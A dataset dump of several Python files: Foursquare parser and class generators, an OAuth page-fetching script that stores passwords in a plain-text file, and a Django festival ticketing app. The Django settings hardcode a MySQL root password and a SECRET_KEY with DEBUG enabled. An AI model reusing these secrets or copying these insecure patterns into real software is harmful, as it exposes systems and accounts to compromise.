code stringlengths 1 1.72M | language stringclasses 1
value |
|---|---|
#!/usr/bin/python
import datetime
import sys
import textwrap
import common
from xml.dom import pulldom
PARSER = """\
/**
* Copyright 2009 Joe LaPenna
*/
package com.joelapenna.foursquare.parsers;
import com.joelapenna.foursquare.Foursquare;
import com.joelapenna.foursquare.error.FoursquareError;
import com.joelapenna.foursquare.error.FoursquareParseException;
import com.joelapenna.foursquare.types.%(type_name)s;
import org.xmlpull.v1.XmlPullParser;
import org.xmlpull.v1.XmlPullParserException;
import java.io.IOException;
import java.util.logging.Level;
import java.util.logging.Logger;
/**
* Auto-generated: %(timestamp)s
*
* @author Joe LaPenna (joe@joelapenna.com)
* @param <T>
*/
public class %(type_name)sParser extends AbstractParser<%(type_name)s> {
private static final Logger LOG = Logger.getLogger(%(type_name)sParser.class.getCanonicalName());
private static final boolean DEBUG = Foursquare.PARSER_DEBUG;
@Override
public %(type_name)s parseInner(XmlPullParser parser) throws XmlPullParserException, IOException,
FoursquareError, FoursquareParseException {
parser.require(XmlPullParser.START_TAG, null, null);
%(type_name)s %(top_node_name)s = new %(type_name)s();
while (parser.nextTag() == XmlPullParser.START_TAG) {
String name = parser.getName();
%(stanzas)s
} else {
// Consume something we don't understand.
if (DEBUG) LOG.log(Level.FINE, "Found tag that we don't recognize: " + name);
skipSubTree(parser);
}
}
return %(top_node_name)s;
}
}"""
BOOLEAN_STANZA = """\
} else if ("%(name)s".equals(name)) {
%(top_node_name)s.set%(camel_name)s(Boolean.valueOf(parser.nextText()));
"""
GROUP_STANZA = """\
} else if ("%(name)s".equals(name)) {
%(top_node_name)s.set%(camel_name)s(new GroupParser(new %(sub_parser_camel_case)s()).parse(parser));
"""
COMPLEX_STANZA = """\
} else if ("%(name)s".equals(name)) {
%(top_node_name)s.set%(camel_name)s(new %(parser_name)s().parse(parser));
"""
STANZA = """\
} else if ("%(name)s".equals(name)) {
%(top_node_name)s.set%(camel_name)s(parser.nextText());
"""
def main():
type_name, top_node_name, attributes = common.WalkNodesForAttributes(
sys.argv[1])
GenerateClass(type_name, top_node_name, attributes)
def GenerateClass(type_name, top_node_name, attributes):
"""generate it.
type_name: the type of object the parser returns
top_node_name: the name of the object the parser returns.
per common.WalkNodsForAttributes
"""
stanzas = []
for name in sorted(attributes):
typ, children = attributes[name]
replacements = Replacements(top_node_name, name, typ, children)
if typ == common.BOOLEAN:
stanzas.append(BOOLEAN_STANZA % replacements)
elif typ == common.GROUP:
stanzas.append(GROUP_STANZA % replacements)
elif typ in common.COMPLEX:
stanzas.append(COMPLEX_STANZA % replacements)
else:
stanzas.append(STANZA % replacements)
if stanzas:
# pop off the extranious } else for the first conditional stanza.
stanzas[0] = stanzas[0].replace('} else ', '', 1)
replacements = Replacements(top_node_name, name, typ, [None])
replacements['stanzas'] = '\n'.join(stanzas).strip()
print PARSER % replacements
def Replacements(top_node_name, name, typ, children):
# CameCaseClassName
type_name = ''.join([word.capitalize() for word in top_node_name.split('_')])
# CamelCaseClassName
camel_name = ''.join([word.capitalize() for word in name.split('_')])
# camelCaseLocalName
attribute_name = camel_name.lower().capitalize()
# mFieldName
field_name = 'm' + camel_name
if children[0]:
sub_parser_camel_case = children[0] + 'Parser'
else:
sub_parser_camel_case = (camel_name[:-1] + 'Parser')
return {
'type_name': type_name,
'name': name,
'top_node_name': top_node_name,
'camel_name': camel_name,
'parser_name': typ + 'Parser',
'attribute_name': attribute_name,
'field_name': field_name,
'typ': typ,
'timestamp': datetime.datetime.now(),
'sub_parser_camel_case': sub_parser_camel_case,
'sub_type': children[0]
}
if __name__ == '__main__':
main()
| Python |
#!/usr/bin/python
"""
Pull a oAuth protected page from foursquare.
Expects ~/.oget to contain (one on each line):
CONSUMER_KEY
CONSUMER_KEY_SECRET
USERNAME
PASSWORD
Don't forget to chmod 600 the file!
"""
import httplib
import os
import re
import sys
import urllib
import urllib2
import urlparse
import user
from xml.dom import pulldom
from xml.dom import minidom
import oauth
"""From: http://groups.google.com/group/foursquare-api/web/oauth
@consumer = OAuth::Consumer.new("consumer_token","consumer_secret", {
:site => "http://foursquare.com",
:scheme => :header,
:http_method => :post,
:request_token_path => "/oauth/request_token",
:access_token_path => "/oauth/access_token",
:authorize_path => "/oauth/authorize"
})
"""
SERVER = 'api.foursquare.com:80'
CONTENT_TYPE_HEADER = {'Content-Type' :'application/x-www-form-urlencoded'}
SIGNATURE_METHOD = oauth.OAuthSignatureMethod_HMAC_SHA1()
AUTHEXCHANGE_URL = 'http://api.foursquare.com/v1/authexchange'
def parse_auth_response(auth_response):
return (
re.search('<oauth_token>(.*)</oauth_token>', auth_response).groups()[0],
re.search('<oauth_token_secret>(.*)</oauth_token_secret>',
auth_response).groups()[0]
)
def create_signed_oauth_request(username, password, consumer):
oauth_request = oauth.OAuthRequest.from_consumer_and_token(
consumer, http_method='POST', http_url=AUTHEXCHANGE_URL,
parameters=dict(fs_username=username, fs_password=password))
oauth_request.sign_request(SIGNATURE_METHOD, consumer, None)
return oauth_request
def main():
url = urlparse.urlparse(sys.argv[1])
# Nevermind that the query can have repeated keys.
parameters = dict(urlparse.parse_qsl(url.query))
password_file = open(os.path.join(user.home, '.oget'))
lines = [line.strip() for line in password_file.readlines()]
if len(lines) == 4:
cons_key, cons_key_secret, username, password = lines
access_token = None
else:
cons_key, cons_key_secret, username, password, token, secret = lines
access_token = oauth.OAuthToken(token, secret)
consumer = oauth.OAuthConsumer(cons_key, cons_key_secret)
if not access_token:
oauth_request = create_signed_oauth_request(username, password, consumer)
connection = httplib.HTTPConnection(SERVER)
headers = {'Content-Type' :'application/x-www-form-urlencoded'}
connection.request(oauth_request.http_method, AUTHEXCHANGE_URL,
body=oauth_request.to_postdata(), headers=headers)
auth_response = connection.getresponse().read()
token = parse_auth_response(auth_response)
access_token = oauth.OAuthToken(*token)
open(os.path.join(user.home, '.oget'), 'w').write('\n'.join((
cons_key, cons_key_secret, username, password, token[0], token[1])))
oauth_request = oauth.OAuthRequest.from_consumer_and_token(consumer,
access_token, http_method='POST', http_url=url.geturl(),
parameters=parameters)
oauth_request.sign_request(SIGNATURE_METHOD, consumer, access_token)
connection = httplib.HTTPConnection(SERVER)
connection.request(oauth_request.http_method, oauth_request.to_url(),
body=oauth_request.to_postdata(), headers=CONTENT_TYPE_HEADER)
print connection.getresponse().read()
#print minidom.parse(connection.getresponse()).toprettyxml(indent=' ')
if __name__ == '__main__':
main()
| Python |
#!/usr/bin/python
import os
import subprocess
import sys
BASEDIR = '../main/src/com/joelapenna/foursquare'
TYPESDIR = '../captures/types/v1'
captures = sys.argv[1:]
if not captures:
captures = os.listdir(TYPESDIR)
for f in captures:
basename = f.split('.')[0]
javaname = ''.join([c.capitalize() for c in basename.split('_')])
fullpath = os.path.join(TYPESDIR, f)
typepath = os.path.join(BASEDIR, 'types', javaname + '.java')
parserpath = os.path.join(BASEDIR, 'parsers', javaname + 'Parser.java')
cmd = 'python gen_class.py %s > %s' % (fullpath, typepath)
print cmd
subprocess.call(cmd, stdout=sys.stdout, shell=True)
cmd = 'python gen_parser.py %s > %s' % (fullpath, parserpath)
print cmd
subprocess.call(cmd, stdout=sys.stdout, shell=True)
| Python |
#!/usr/bin/python
import logging
from xml.dom import minidom
from xml.dom import pulldom
BOOLEAN = "boolean"
STRING = "String"
GROUP = "Group"
# Interfaces that all FoursquareTypes implement.
DEFAULT_INTERFACES = ['FoursquareType']
# Interfaces that specific FoursqureTypes implement.
INTERFACES = {
}
DEFAULT_CLASS_IMPORTS = [
]
CLASS_IMPORTS = {
# 'Checkin': DEFAULT_CLASS_IMPORTS + [
# 'import com.joelapenna.foursquare.filters.VenueFilterable'
# ],
# 'Venue': DEFAULT_CLASS_IMPORTS + [
# 'import com.joelapenna.foursquare.filters.VenueFilterable'
# ],
# 'Tip': DEFAULT_CLASS_IMPORTS + [
# 'import com.joelapenna.foursquare.filters.VenueFilterable'
# ],
}
COMPLEX = [
'Group',
'Badge',
'Beenhere',
'Checkin',
'CheckinResponse',
'City',
'Credentials',
'Data',
'Mayor',
'Rank',
'Score',
'Scoring',
'Settings',
'Stats',
'Tags',
'Tip',
'User',
'Venue',
]
TYPES = COMPLEX + ['boolean']
def WalkNodesForAttributes(path):
"""Parse the xml file getting all attributes.
<venue>
<attribute>value</attribute>
</venue>
Returns:
type_name - The java-style name the top node will have. "Venue"
top_node_name - unadultured name of the xml stanza, probably the type of
java class we're creating. "venue"
attributes - {'attribute': 'value'}
"""
doc = pulldom.parse(path)
type_name = None
top_node_name = None
attributes = {}
level = 0
for event, node in doc:
# For skipping parts of a tree.
if level > 0:
if event == pulldom.END_ELEMENT:
level-=1
logging.warn('(%s) Skip end: %s' % (str(level), node))
continue
elif event == pulldom.START_ELEMENT:
logging.warn('(%s) Skipping: %s' % (str(level), node))
level+=1
continue
if event == pulldom.START_ELEMENT:
logging.warn('Parsing: ' + node.tagName)
# Get the type name to use.
if type_name is None:
type_name = ''.join([word.capitalize()
for word in node.tagName.split('_')])
top_node_name = node.tagName
logging.warn('Found Top Node Name: ' + top_node_name)
continue
typ = node.getAttribute('type')
child = node.getAttribute('child')
# We don't want to walk complex types.
if typ in COMPLEX:
logging.warn('Found Complex: ' + node.tagName)
level = 1
elif typ not in TYPES:
logging.warn('Found String: ' + typ)
typ = STRING
else:
logging.warn('Found Type: ' + typ)
logging.warn('Adding: ' + str((node, typ)))
attributes.setdefault(node.tagName, (typ, [child]))
logging.warn('Attr: ' + str((type_name, top_node_name, attributes)))
return type_name, top_node_name, attributes
| Python |
# Django settings for festivalrock project.
#import os
DEBUG = True
TEMPLATE_DEBUG = DEBUG
ADMINS = (
# ('Your Name', 'your_email@example.com'),
)
MANAGERS = ADMINS
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql', # Add 'postgresql_psycopg2', 'mysql', 'sqlite3' or 'oracle'.
'NAME': 'festival', # Or path to database file if using sqlite3.
'USER': 'root', # Not used with sqlite3.
'PASSWORD': '16Marzo82', # Not used with sqlite3.
'HOST': 'localhost', # Set to empty string for localhost. Not used with sqlite3.
'PORT': '3306', # Set to empty string for default. Not used with sqlite3.
}
}
# Local time zone for this installation. Choices can be found here:
# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name
# although not all choices may be available on all operating systems.
# On Unix systems, a value of None will cause Django to use the same
# timezone as the operating system.
# If running in a Windows environment this must be set to the same as your
# system time zone.
TIME_ZONE = 'America/Chicago'
# Language code for this installation. All choices can be found here:
# http://www.i18nguy.com/unicode/language-identifiers.html
LANGUAGE_CODE = 'en-us'
SITE_ID = 1
# If you set this to False, Django will make some optimizations so as not
# to load the internationalization machinery.
USE_I18N = True
# If you set this to False, Django will not format dates, numbers and
# calendars according to the current locale.
USE_L10N = True
# If you set this to False, Django will not use timezone-aware datetimes.
USE_TZ = True
## Ruta del proyecto
##PROJECT_PATH = os.path.realpath(os.path.dirname(__file__))
# Absolute filesystem path to the directory that will hold user-uploaded files.
# Example: "/home/media/media.lawrence.com/media/"
MEDIA_ROOT = '/home/javier/git/festivalrock/fs/media'
##MEDIA_ROOT = os.path.join(PROJECT_PATH, 'media')
# URL that handles the media served from MEDIA_ROOT. Make sure to use a
# trailing slash.
# Examples: "http://media.lawrence.com/media/", "http://example.com/media/"
MEDIA_URL = '/media/'
# Absolute path to the directory static files should be collected to.
# Don't put anything in this directory yourself; store your static files
# in apps' "static/" subdirectories and in STATICFILES_DIRS.
# Example: "/home/media/media.lawrence.com/static/"
STATIC_ROOT = ''
# URL prefix for static files.
# Example: "http://media.lawrence.com/static/"
STATIC_URL = '/static/'
# Additional locations of static files
STATICFILES_DIRS = (
# Put strings here, like "/home/html/static" or "C:/www/django/static".
# Always use forward slashes, even on Windows.
# Don't forget to use absolute paths, not relative paths.
)
# List of finder classes that know how to find static files in
# various locations.
STATICFILES_FINDERS = (
'django.contrib.staticfiles.finders.FileSystemFinder',
'django.contrib.staticfiles.finders.AppDirectoriesFinder',
# 'django.contrib.staticfiles.finders.DefaultStorageFinder',
)
# Make this unique, and don't share it with anybody.
SECRET_KEY = 'wp@-bs9s)g(4x==-+pd#%j=^&d51!&m23(7kxm@2gl8vc5-!qk'
# List of callables that know how to import templates from various sources.
TEMPLATE_LOADERS = (
'django.template.loaders.filesystem.Loader',
'django.template.loaders.app_directories.Loader',
# 'django.template.loaders.eggs.Loader',
)
MIDDLEWARE_CLASSES = (
'django.middleware.common.CommonMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
# Uncomment the next line for simple clickjacking protection:
# 'django.middleware.clickjacking.XFrameOptionsMiddleware',
)
ROOT_URLCONF = 'festivalrock.urls'
# Python dotted path to the WSGI application used by Django's runserver.
WSGI_APPLICATION = 'festivalrock.wsgi.application'
TEMPLATE_DIRS = (
# Put strings here, like "/home/html/django_templates" or "C:/www/django/templates".
# Always use forward slashes, even on Windows.
# Don't forget to use absolute paths, not relative paths.
'/home/javier/git/festivalrock/fs/templates'
#os.path.join(os.path.dirname(__file__) , 'templates')
##os.path.join(PROJECT_PATH, 'templates')
,
)
INSTALLED_APPS = (
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.sites',
'django.contrib.messages',
'django.contrib.staticfiles',
# Uncomment the next line to enable the admin:
'django.contrib.admin',
'registration',
'festivalrock',
'south',
# Uncomment the next line to enable admin documentation:
# 'django.contrib.admindocs',
)
# A sample logging configuration. The only tangible logging
# performed by this configuration is to send an email to
# the site admins on every HTTP 500 error when DEBUG=False.
# See http://docs.djangoproject.com/en/dev/topics/logging for
# more details on how to customize your logging configuration.
LOGGING = {
'version': 1,
'disable_existing_loggers': False,
'filters': {
'require_debug_false': {
'()': 'django.utils.log.RequireDebugFalse'
}
},
'handlers': {
'mail_admins': {
'level': 'ERROR',
'filters': ['require_debug_false'],
'class': 'django.utils.log.AdminEmailHandler'
}
},
'loggers': {
'django.request': {
'handlers': ['mail_admins'],
'level': 'ERROR',
'propagate': True,
},
}
}
| Python |
from django.db import models
from django.contrib.auth.models import User
import barcode
from barcode.writer import ImageWriter
from festivalrock.settings import MEDIA_ROOT
from festivalrock.utils import CurrencyField
from datetime import date, timedelta
from decimal import Decimal
from django.template.defaultfilters import length
import datetime
EAN = barcode.get_barcode_class('ean13')
RESERVADA = 'reservada'
DISPONIBLE = 'disponible'
BLOQUEADA = 'bloqueada'
ESTADO_BUTACA = (
(BLOQUEADA, 'bloqueada'),
(RESERVADA, 'reservada'),
(DISPONIBLE, 'disponible'),
)
MAYORES = 'mayores'
MENORES = 'menores'
JUBILADOS = 'jubilados'
TIPO_ENTRADA = {MAYORES:1, MENORES:2, JUBILADOS:3}
CATEGORIA_BANDA = (1, 2, 3, 4)
ADICIONAL_CATEGORIA_BANDA = { 1 : 0, 2 : 50, 3 : 100, 4 : 200 }
class Banda(models.Model):
nombre = models.CharField(unique=True,max_length=50)
categoria = models.IntegerField()
def getCategoria(self):
return self.categoria
def getAdicionalPorCategoria(self):
return ADICIONAL_CATEGORIA_BANDA[self.getCategoria()]
def __str__(self):
return self.nombre.__str__()
class Presentacion(models.Model):
horaInicio = models.TimeField()
horaFin = models.TimeField()
banda = models.ForeignKey(Banda)
def getBanda(self):
return self.banda
def getFecha(self):
return self.fecha
def getHoraInicio(self):
return self.horaInicio
def getAdicionalPorCategoria(self):
banda = self.getBanda()
return banda.getAdicionalPorCategoria()
def __str__(self):
bandas = Banda.objects.filter(presentacion__id=self.id)
bandas_str = [banda.__str__() for banda in bandas]
return bandas_str.__str__()
class PerfilUsuario(models.Model):
user = models.OneToOneField(User)
nombre = models.CharField(max_length=50)
tipoUsuario = models.CharField(max_length=1)
def __str__(self):
return self.nombre.__str__()
class Butaca(models.Model):
numero = models.IntegerField()
estado = models.CharField(max_length=200, choices=ESTADO_BUTACA, default=DISPONIBLE)
vendedor = models.ForeignKey(User,blank=True,null=True)
def getNumero(self):
return self.numero
def getEstado(self):
return self.estado
def desbloquear(self):
if self.estado == BLOQUEADA:
self.estado = DISPONIBLE
self.save()
def bloquear(self,user):
if self.estado == DISPONIBLE:
self.estado = BLOQUEADA
self.vendedor = user
self.save()
def reservar(self):
if self.estado == BLOQUEADA:
self.estado = RESERVADA
self.save()
return True
return False
def calcularImporteEntradaBase(self):
sector = self.getSector()
return sector.calcularImporteEntradaBase()
def adquirir(self,descuento,vendedor):
if self.reservar():
zero = Decimal(0.00)
ticket=Venta.objects.create(butaca=self,
importeDescuento=zero,
importeBruto=self.getSector().importeEntradaBase,
importeNeto=zero,
importeDescuentoAnticipada=zero,
vendedor=vendedor)
descuentoAnticipada=DescuentoAnticipada.objects.get(presentacion=self.getSector().presentacion)
ticket.calcularDescuentos(descuento,descuentoAnticipada)
ticket.calcularImportes()
ticket.save()
fullName= ticket.generarCodigoBarra()
print fullName
self.save()
return ticket
else:
return Venta.objects.get(butaca=self)
def getSector(self):
return Sector.objects.get(filas__butacas__id=self.id)
def resumenVenta(self):
sector = self.getSector()
bandas = Banda.objects.filter(presentacion=sector.presentacion)
descuentoAnticipada = DescuentoAnticipada.objects.get(presentacion=sector.presentacion)
return (sector.presentacion.festival,sector.presentacion.fecha,sector,bandas,descuentoAnticipada.calcularDescuento())
def __str__(self):
return self.numero.__str__()
class Fila(models.Model):
numero = models.IntegerField()
butacas = models.ManyToManyField(Butaca)
def getNumero(self):
return self.numero
def getButacas(self):
return self.butacas
def __str__(self):
return self.numero.__str__()
class Sector(models.Model):
nombre = models.CharField(unique=True,max_length=20)
color = models.CharField(max_length=10)
importeEntradaBase = CurrencyField(max_digits=10, decimal_places=2, blank=True)
filas = models.ManyToManyField(Fila)
presentacion = models.ForeignKey(Presentacion)
def getNombre(self):
return self.nombre
def getColor(self):
return self.color
def getImporteEntradaBase(self):
return self.importeEntradaBase
def getFilas(self):
return self.filas
def getCantidadFilas(self):
return length(self.filas)
def getCantidadButacas(self, fila):
return length(fila.getButacas())
def obtenerBandas(self):
return Banda.objects.filter(presentacion=self.presentacion)
def populate(self, cantidadFilas, cantidadButacas):
if cantidadFilas :
for nroFila in range(cantidadFilas):
fila = Fila.objects.create(numero=nroFila)
for nroButaca in range(cantidadButacas):
butaca = Butaca.objects.create(numero=nroButaca)
fila.butacas.add(butaca)
fila.save()
self.filas.add(fila)
self.save()
def __str__(self):
return self.getNombre().__str__() + " - $" + self.getImporteEntradaBase().__str__()
class Noche(models.Model):
nombre = models.CharField(max_length=20)
fecha = models.DateField()
presentaciones = models.ManyToManyField(Presentacion)
sectores = models.ManyToManyField(Sector)
def getPresentaciones(self):
return self.presentaciones.all()
def agregarPresentacion(self, presentacion):
self.presentaciones.add(presentacion)
def agregarSector(self, sector):
self.sectores.add(sector)
def __str__(self):
return self.fecha.__str__()
def getAdicionalPorCategoria(self):
adicionalPorCategoria = 0
for presentacion in self.getPresentaciones():
adicionalPorCategoria += presentacion.getAdicionalPorCategoria()
return adicionalPorCategoria
class Festival(models.Model):
nombre = models.CharField(unique=True,max_length=50)
noches = models.ForeignKey(Noche)
fechaInicio = models.DateField(default=datetime.datetime.now)
duracion = models.SmallIntegerField()
def getNombre(self):
return self.nombre
def getNoches(self):
return self.noches.all()
def getFechaInicio(self):
return self.fechaInicio
def getDuracion(self):
return self.duracion
def getPresentaciones(self):
presentaciones=()
for noche in self.getNoches():
presentaciones.add(noche.getPresentaciones())
return presentaciones
def __str__(self):
return self.nombre.__str__()
class Descuento(models.Model):
nombre = models.CharField(max_length=20)
porcentaje = models.DecimalField(max_digits=4, decimal_places=2)
def calcularDescuento(self, valorBase):
return valorBase * self.porcentaje / 100
def __str__(self):
return self.nombre + '-' + self.porcentaje.__str__() + ' %'
class DescuentoAnticipada(Descuento):
diasAnticipados = models.IntegerField()
presentacion = models.ForeignKey(Presentacion)
def calcularDescuento(self, valorBase):
fechaFinAnticipada = self.presentacion.getFecha - timedelta(days=self.diasAnticipados)
if date.today() <= fechaFinAnticipada:
self.porcentaje = 10
return valorBase * self.porcentaje / 100
class Entrada(models.Model):
presentacion = models.ForeignKey(Presentacion)
descuento = models.ForeignKey(Descuento)
porcentajeDescuento = models.DecimalField(max_digits=4, decimal_places=2)
codigoBarra = models.CharField(max_length=20)
def calcularDescuento(self):
return self.descuento.calcularDescuento()
def generarCodigoBarra(self):
codigo = self.id.__str__() + self.butaca.__str__() + int(self.importeNeto).__str__()
ean = EAN(u'' + codigo, writer=ImageWriter())
self.codigoBarra = codigo
self.save()
return ean.save(MEDIA_ROOT + "/" +codigo)
class EntradaMenores(Entrada):
def __init__(self):
self.porcentajeDescuento = 15
class EntradaMayores(Entrada):
def __init__(self):
self.porcentajeDescuento = 0
class EntradaJubilados(Entrada):
def __init__(self):
self.porcentajeDescuento = 0
def calcularDescuento(self, valorBase):
if valorBase > 100:
self.porcentaje = 20
else:
if valorBase > 50:
return 10
return self.descuento.calcularDescuento(self.porcentaje)
class Venta(models.Model):
butaca = models.OneToOneField(Butaca)
entradas = models.ForeignKey(Entrada)
vendedor = models.OneToOneField(PerfilUsuario)
def calcularImporteEntrada(self, butaca):
valorBase = butaca.calcularImporteEntradaBase()
return valorBase + self.calcularValorExtraPorNoche() - self.calcularDescuentos(valorBase)
def calcularValorExtraPorNoche(self):
banda = self.presentacion.getBanda()
return banda.getAdicionalPorCategoria()
def calcularDescuentos(self, valorBase):
descuentoTipoPersona = self.entradas.calcularDescuento(valorBase)
return DescuentoAnticipada.calcularDescuento(valorBase) + descuentoTipoPersona
class PuntoVenta(models.Model):
nombre = models.CharField(max_length=20)
usuario = models.ManyToManyField(PerfilUsuario)
festivales = models.ManyToManyField(Festival)
def agregarFestival(self, festival):
self.festivales.add(festival)
def agregarVendedor(self, vendedor):
self.usuario.add(vendedor)
def getPresentacionesDelFestival(self, id_festival):
festival = self.getFestival(id_festival)
return festival[0].getPresentaciones()
def getFestival(self, id_festival):
return Festival.objects.filter(id=id_festival)
def getFestivales(self):
return self.festivales
def __str__(self):
return self.nombre.__str__()
class CentroDeVenta(models.Model):
nombre = models.CharField(max_length=20)
puntosDeVenta = models.ForeignKey(PuntoVenta)
def getPuntosDeVenta(self):
return self.puntosDeVenta
class ButacaNoDisponibleException(Exception):
def __init__(self, valor):
self.valor = valor
def __str__(self):
return "ButacaNoDisponible " + str(self.valor)
| Python |
from django.db import models
from decimal import Decimal
class CurrencyField(models.DecimalField):
__metaclass__ = models.SubfieldBase
def __init__(self, *args, **kwargs):
kwargs['max_digits'] = 8
kwargs['decimal_places'] = 2
super(CurrencyField, self).__init__(*args, **kwargs)
def to_python(self, value):
try:
return super(CurrencyField, self).to_python(value).quantize(Decimal('0.01'))
except AttributeError:
return None
from south.modelsinspector import add_introspection_rules
rules = [
(
(CurrencyField,),
[],
{
"max_digits": ["max_digits", {"default": 8}],
"decimal_places": ["decimal_places", {"default": 2}]
},
)
]
add_introspection_rules(rules, ["^festivalrock\.utils\.CurrencyField"])
| Python |
from django import forms
from festivalrock.models import Descuento, Sector, DescuentoAnticipada, Festival,\
PuntoVenta, Noche, Presentacion, Banda
from festivalrock.utils import CurrencyField
class EmitirTicketForm(forms.Form):
DESCUENTOS_CHOICE = [( descuento.id, descuento.__str__() ) for descuento in Descuento.objects.all().exclude(id__in=DescuentoAnticipada.objects.all()) ]
descuento = forms.ModelChoiceField(empty_label='Aplicar Descuento', queryset=DESCUENTOS_CHOICE, required=False)
class FiltrarLocalidadesForm(forms.Form):
SECTOR_CHOICE = [( sector.id, sector.__str__() ) for sector in Sector.objects.all()]
sector = forms.ChoiceField(label='filtrar por', choices=[(1,"Seleccione un Sector")] + SECTOR_CHOICE, required=False, widget=forms.Select(attrs={'onchange': 'this.form.submit();'}))
class FiltrarFestivalesForm(forms.Form):
FESTIVALES_CHOICE = [ (festival.nombre) for festival in Festival.objects.all() ]
festival = forms.ModelChoiceField(empty_label='Nombre', queryset=FESTIVALES_CHOICE, required=False, widget=forms.Select(attrs={'onchange': 'this.form.submit();'}))
class Venta_FestivalesForm(forms.ModelForm):
festivales=forms.ChoiceField(label='Festival')
def __init__(self, id_puntoVenta, request, *args, **kwargs):
super(Venta_FestivalesForm, self).__init__(*args, **kwargs)
FESTIVALES_CHOICE = [(0,' ')]+[ (festival.id, festival.__str__()) for festival in Festival.objects.filter(puntoventa=id_puntoVenta) ]
self.fields['festivales'].widget = forms.Select(attrs={'onchange': 'this.form.submit();'}, choices=FESTIVALES_CHOICE)
def setFestivalSeleccionado(self, id_festival):
self.fields['festivales'].initial = id_festival
class Meta:
model = PuntoVenta
fields=('festivales',)
class Venta_DiasForm(forms.ModelForm):
noches=forms.ChoiceField(label='Dia')
def __init__(self, festival_seleccionado, request, *args, **kwargs):
super(Venta_DiasForm, self).__init__(*args, **kwargs)
NOCHES_CHOICE= [(0,' ')]+[ (noche.id, noche.__str__()) for noche in Noche.objects.filter(festival=festival_seleccionado) ]
self.fields['noches'].widget = forms.Select(attrs={'onchange': 'this.form.submit();'}, choices=NOCHES_CHOICE)
def setNocheSeleccionada(self, id_noche):
self.fields['noches'].initial = id_noche
class Meta:
model = Festival
fields=('noches',)
class Venta_SectoresForm(forms.ModelForm):
sectores=forms.ChoiceField(label='Sector')
def __init__(self, noche_seleccionada, request, *args, **kwargs):
super(Venta_SectoresForm, self).__init__(*args, **kwargs)
SECTORES_CHOICE = [(0,' ')]+[ (sector.id, sector.__str__()) for sector in Sector.objects.filter(noche=noche_seleccionada) ]
self.fields['sectores'].widget = forms.Select(attrs={'onchange': 'this.form.submit();'}, choices=SECTORES_CHOICE)
def setSectorSeleccionado(self, id_sector):
self.fields['sectores'].initial = id_sector
class Meta:
model = Festival
fields=('sectores',)
DESCUENTOS_CHOICE = [(0,' ')]+[(descuento.id, descuento.__str__()) for descuento in Descuento.objects.all().exclude(id__in=DescuentoAnticipada.objects.all())]
class Venta_EntradasForm(forms.Form):
fila = forms.IntegerField(max_value=3)
butaca = forms.IntegerField(max_value=3)
importeEntradaBase = CurrencyField(max_digits=10, decimal_places=2, blank=True)
adicionalCategoria = CurrencyField(max_digits=10, decimal_places=2, blank=True)
descuento = forms.Select(choices=DESCUENTOS_CHOICE)
importeTotal = CurrencyField(max_digits=10, decimal_places=2, blank=True)
class Planificacion_FestivalesForm(forms.ModelForm):
festivales=forms.ChoiceField(label='Festival')
def __init__(self, id_puntoVenta, request, *args, **kwargs):
super(Planificacion_FestivalesForm, self).__init__(*args, **kwargs)
FESTIVALES_CHOICE = [(0,' ')]+[ (festival.id, festival.__str__()) for festival in Festival.objects.filter(puntoventa=id_puntoVenta) ]
self.fields['festivales'].widget = forms.Select(choices=FESTIVALES_CHOICE)
def setFestivalSeleccionado(self, id_festival):
self.fields['festivales'].initial = id_festival
class Meta:
model = PuntoVenta
fields=('festivales',)
BANDAS_CHOICE = [(0,' ')]+[ (banda.id, banda.__str__()) for banda in Banda.objects.all() ]
class Planificacion_BandasForm(forms.ModelForm):
bandas=forms.ChoiceField(label='Banda')
def __init__(self, request, *args, **kwargs):
super(Planificacion_BandasForm, self).__init__(*args, **kwargs)
self.fields['bandas'].widget = forms.Select(choices=BANDAS_CHOICE)
class Meta:
model = Presentacion
fields=('bandas',)
| Python |
'''
Created on 09/07/2013
@author: root
'''
import unittest
from barcode.writer import ImageWriter
from barcode.ean import EAN8
class Test(unittest.TestCase):
def testName(self):
ean = EAN8(u'123456789', writer=ImageWriter())
fullname = ean.save('ean13_barcode')
pass
if __name__ == "__main__":
#import sys;sys.argv = ['', 'Test.testName']
unittest.main() | Python |
from django.conf.urls.defaults import patterns, include, url
# Uncomment the next two lines to enable the admin:
from django.contrib import admin
from festivalrock.models import Festival, Presentacion, Banda,\
Sector, Descuento, PuntoVenta, PerfilUsuario, DescuentoAnticipada, Butaca,\
Fila, Entrada, EntradaMenores, EntradaMayores, EntradaJubilados,\
CentroDeVenta, Noche, Venta
from festivalrock import settings
admin.autodiscover()
admin.site.register(Banda)
admin.site.register(Presentacion)
admin.site.register(Noche)
admin.site.register(Festival)
admin.site.register(Butaca)
admin.site.register(Fila)
admin.site.register(Sector)
admin.site.register(Descuento)
admin.site.register(DescuentoAnticipada)
admin.site.register(Entrada)
admin.site.register(EntradaMenores)
admin.site.register(EntradaMayores)
admin.site.register(EntradaJubilados)
admin.site.register(PerfilUsuario)
admin.site.register(Venta)
admin.site.register(PuntoVenta)
admin.site.register(CentroDeVenta)
urlpatterns = patterns('',
url(r'^$', 'festivalrock.views.validar_usuario'),
url(r'^funcionalidades/$', 'festivalrock.views.funcionalidades'),
url(r'^ventas/?$', 'festivalrock.views.festivales'),
url(r'^seleccionar_localidad/(?P<id_butaca>\w+)/(?P<id_fila>\w+)/(?P<id_festival>\w+)/(?P<id_noche>\w+)/(?P<id_sector>\w+)/$','festivalrock.views.seleccionar_localidad'),
url(r'^cargar_planificacion/$','festivalrock.views.cargar_planificacion'),
url(r'^desbloquear_butaca/(?P<id_butaca>\w+)/$','festivalrock.views.desbloquear_butaca'),
url(r'^adquirir_localidad/$','festivalrock.views.adquirir_localidad'),
url(r'^planificacion/$', 'festivalrock.views.planificacion'),
url(r'^presentaciones/(?P<id_festival>\w+)/$','festivalrock.views.presentaciones'),
url(r'^localidades/(?P<id_presentacion>\w+)/$','festivalrock.views.filtrar_localidades'),
url(r'^admin/', include(admin.site.urls)),
url(r'^login/$', 'django.contrib.auth.views.login',{'template_name': 'registration/login.html'},name='auth_login'),
url(r'^accounts/', include('registration.urls')),
)
urlpatterns += patterns('',
(r'^media/(?P<path>.*)$', 'django.views.static.serve', {'document_root': settings.MEDIA_ROOT}))
| Python |
from django.core.management.base import BaseCommand
